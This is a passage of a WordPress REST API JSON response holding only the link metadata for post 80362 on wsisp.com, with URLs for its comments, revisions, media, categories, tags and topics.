2\/comments?post=80362"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/80362\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/80342"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=80362"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=80362"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=80362"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=80362"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}